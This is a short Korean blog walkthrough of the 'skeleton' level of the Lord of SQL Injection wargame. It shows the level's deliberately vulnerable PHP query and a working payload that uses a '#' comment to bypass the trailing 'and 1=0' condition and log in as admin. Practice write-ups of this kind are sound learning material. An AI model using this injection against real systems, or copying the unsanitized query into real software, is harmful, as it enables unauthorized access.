반응형

SKELETON

 

1
2
3
4
5
6
7
8
9
10
11
12
http://www.wechall.net
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'
== 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>
cs

 

wolfman문제와 풀이가 비슷하다.

 

https://mandu-mandu.tistory.com/303?category=772020

 

LORD OF SQL INJECTION [wolfman] 풀이

1 2 3 4 5 6 7 8 9 10 11 12 13

mandu-mandu.tistory.com

 

 

공백필터링이 없으니 공백 우회를 하지 않아도 된다. 다른 점은 쿼리문 뒤에 있는 and 1=0 인데, #으로 주석처리 해주면 된다.

 

 

query : select id from prob_skeleton where id='guest' and pw='1' or '1'='1' and id = 'admin'#' and 1=0


 

 

 

pw = 1' or '1'='1' and id = 'admin'%23

반응형

+ Recent posts